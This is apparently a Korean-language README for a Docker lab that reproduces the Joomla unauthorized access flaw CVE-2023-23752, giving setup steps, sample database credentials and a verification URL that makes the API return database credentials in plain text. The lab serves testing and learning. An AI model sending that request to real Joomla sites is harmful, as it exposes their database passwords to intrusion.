CVE-2023-23752

Joomla 무단 접근 취약점 (CVE-2023-23752) Dockerized

설치

---

권장 (자동)

1. 이 저장소를 클론합니다 git clone https://github.com/karthikuj/CVE-2023-23752-Docker.git
2. 디렉토리로 이동합니다 cd CVE-2023-23752-Docker
3. ./setup.sh 실행
4. 브라우저를 열고 http://localhost:8080/ 로 이동

수동

1. 이 저장소를 클론합니다 git clone https://github.com/karthikuj/CVE-2023-23752-Docker.git
2. 디렉토리로 이동합니다 cd CVE-2023-23752-Docker
3. docker-compose up -d 실행
4. 브라우저를 열고 http://localhost:8080/ 로 이동
5. 모든 세부 정보를 입력합니다.
6. 데이터베이스 구성 시:
   • 호스트 이름으로 joomladb:mysql 입력
   • 사용자 이름으로 root 입력
   • 비밀번호로 example 입력
   • 데이터베이스 이름으로 joomla_db 입력

CVE-2023-23752 확인

---

1. 설치 후 브라우저를 열고 http://localhost:8080/api/index.php/v1/config/application?public=true 로 이동
2. 응답에서 데이터베이스 사용자 이름과 비밀번호가 평문으로 표시되는 것을 확인할 수 있습니다.

제거

---

1. ./remove-joomla.sh 실행